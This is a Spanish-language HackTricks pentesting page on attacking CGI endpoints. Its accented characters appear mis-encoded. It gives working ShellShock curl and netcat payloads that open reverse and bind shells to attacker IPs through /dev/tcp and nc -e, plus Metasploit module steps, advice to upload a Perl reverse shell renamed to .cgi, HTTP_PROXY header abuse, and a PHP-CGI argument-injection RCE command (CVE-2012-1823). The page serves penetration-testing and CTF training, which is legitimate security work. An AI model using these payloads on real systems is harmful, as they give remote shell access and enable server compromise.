tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n
Los scripts CGI son scripts perl, as铆 que, si has comprometido un servidor que puede ejecutar .cgi scripts, puedes subir un shell reverso en perl (/usr/share/webshells/perl/perl-reverse-shell.pl
), cambiar la extensi贸n de .pl a .cgi, dar permisos de ejecuci贸n (chmod +x
) y acceder al shell reverso desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI, se recomienda usar nikto -C all
(y todos los plugins)
ShellShock
ShellShock es una vulnerabilidad que afecta al ampliamente utilizado Bash en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulaci贸n de variables de entorno, que son valores nombrados din谩micamente que impactan c贸mo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando c贸digo malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
Explotando esta vulnerabilidad, la p谩gina podr铆a lanzar un error.
Podr铆as encontrar esta vulnerabilidad notando que est谩 usando una versi贸n antigua de Apache y cgi_mod (con la carpeta cgi) o usando nikto.
Prueba
La mayor铆a de las pruebas se basan en hacer eco de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una p谩gina puede ser vulnerable, busca todas las p谩ginas cgi y pru茅balas.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflejado, ciego y fuera de banda)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Explotar
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM a solicitudes del servidor web)
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Como la variable HTTP_PROXY podr铆a ser utilizada por el servidor web. Intenta enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesi贸n. Podr谩s capturar cada solicitud realizada por el servidor.
PHP antiguo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
B谩sicamente, si cgi est谩 activo y php es "antiguo" (<5.3.12 / < 5.4.2) puedes ejecutar c贸digo.
Para explotar esta vulnerabilidad necesitas acceder a alg煤n archivo PHP del servidor web sin enviar par谩metros (especialmente sin enviar el car谩cter "=").
Luego, para probar esta vulnerabilidad, podr铆as acceder por ejemplo a /index.php?-s
(nota el -s
) y el c贸digo fuente de la aplicaci贸n aparecer谩 en la respuesta.
Luego, para obtener RCE puedes enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
y el c贸digo PHP que se ejecutar谩 en el cuerpo de la solicitud. Ejemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
M谩s informaci贸n sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.